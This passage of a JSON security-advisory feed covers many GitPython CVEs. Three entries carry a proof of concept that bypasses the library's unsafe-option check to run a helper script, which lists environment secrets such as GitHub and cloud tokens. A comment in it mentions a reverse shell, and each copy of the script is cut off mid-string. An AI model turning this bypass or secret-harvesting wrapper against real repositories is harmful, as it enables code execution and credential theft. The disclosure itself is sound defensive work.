it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n    f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n  echo \u0026quot;code_exec=1\u0026quot;\n  echo \u0026quot;whoami=$(id)\u0026quot;\n  echo \u0026quot;cwd=$(pwd)\u0026quot;\n  echo \u0026quot;uname=$(uname -a)\u0026quot;\n  printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n  env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)","status":"published","published":"2026-05-15T11:11:16Z","modified":"2026-08-18T01:19:53.255086804Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-2307","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n    f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n  echo \u0026quot;code_exec=1\u0026quot;\n  echo \u0026quot;whoami=$(id)\u0026quot;\n  echo \u0026quot;cwd=$(pwd)\u0026quot;\n  echo \u0026quot;uname=$(uname -a)\u0026quot;\n  printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n  env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)","status":"published","published":"2026-05-15T11:11:16Z","modified":"2026-08-18T01:19:53.424043995Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-2308","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n    f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n  echo \u0026quot;code_exec=1\u0026quot;\n  echo \u0026quot;whoami=$(id)\u0026quot;\n  echo \u0026quot;cwd=$(pwd)\u0026quot;\n  echo \u0026quot;uname=$(uname -a)\u0026quot;\n  printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n  env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)","status":"published","published":"2026-05-15T11:11:16Z","modified":"2026-08-18T01:19:53.155795969Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"PYSEC-2026-2162","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","status":"published","published":"2026-05-07T19:16:02.227Z","modified":"2026-07-13T07:15:30.236821515Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"ROOT-APP-PYPI-CVE-2026-44243","title":"CVE-2026-44243 in GitPython - Patched by Root","description":"Root has patched CVE-2026-44243 in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:03.489618069Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"UBUNTU-CVE-2026-44243","description":"GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.","status":"published","published":"2026-05-07T19:16:00Z","modified":"2026-10-17T12:58:20.325174019Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:22.075798Z"},{"id":"CLSA-2026-1789454911","title":"TuxCare security update for gitpython (2 CVEs)","description":"TuxCare rebuilt gitpython to address 2 CVEs. Fixed in 3.1.31.post13+tuxcare.","status":"published","published":"2026-09-15T06:48:31Z","modified":"2026-10-15T09:48:01.79922311Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"openSUSE-SU-2026:10758-1","title":"python311-GitPython-3.1.49-1.1 on GA media","description":"These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-05-12T00:00:00Z","modified":"2026-05-13T07:45:31.574389Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"openSUSE-SU-2026:20777-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n","status":"published","published":"2026-05-18T09:44:52Z","modified":"2026-05-26T18:24:12.57892364Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2026:21813-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n","status":"published","published":"2026-05-18T09:43:07Z","modified":"2026-05-28T18:24:12.591846267Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:4072-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).\n- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and\n  git.ls_remote() (bsc#1273358).\n- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix\n  abbreviation feature (bsc#1273359).\n- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).\n- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary\n  configuration directives through malicious submodule names (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()` and\n  `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file\n  content by including arbitrary file paths via [include] directives (bsc#1276434).\n- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant\n  quoted values into injected directives (bsc#1276433).\n- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options,\n  allowing attackers to read arbitrary files (bsc#1276431).\n- CVE-2026-78679: an arbitrary file read vulnerability in TagReference.create() (bsc#1276430).\n","status":"published","published":"2026-09-08T07:07:35Z","modified":"2026-09-13T18:23:19.85902049Z","updated_at":"2026-11-02T15:54:05.392906Z"},{"id":"USN-8303-1","title":"python-git vulnerabilities","description":"Santos Gallegos discovered that GitPython did not properly validate\npaths when resolving certain Git references. An attacker could possibly\nuse this issue to cause files outside the .git directory to be accessed,\nleading to a denial of service. This issue only affected Ubuntu 14.04\nLTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu\n22.04 LTS. (CVE-2023-41040)\n\nWes Ring discovered that GitPython did not properly block certain unsafe\nGit options when they were provided as Python keyword arguments. An\nattacker could possibly use this issue to cause arbitrary command\nexecution. (CVE-2026-42215)\n\nIt was discovered that GitPython did not properly validate clone options\nbefore processing them. An attacker could possibly use this issue to\ninject unsafe Git configuration, leading to arbitrary command execution\nthrough Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu\n22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)\n\nIt was discovered that GitPython did not properly validate reference\npaths during reference operations. An attacker could possibly use this\nissue to write, overwrite, move, or delete files outside the repository.\n(CVE-2026-44243)\n\nDan Aridor discovered that GitPython did not properly validate\nconfiguration values before writing them to Git configuration files. An\nattacker could possibly use this issue to inject unsafe Git\nconfiguration, leading to arbitrary command execution through Git hooks.\n(CVE-2026-44244)","status":"published","published":"2026-05-26T21:52:45Z","modified":"2026-05-27T10:32:49.612604877Z","updated_at":"2026-11-02T16:58:25.103481Z"}]}}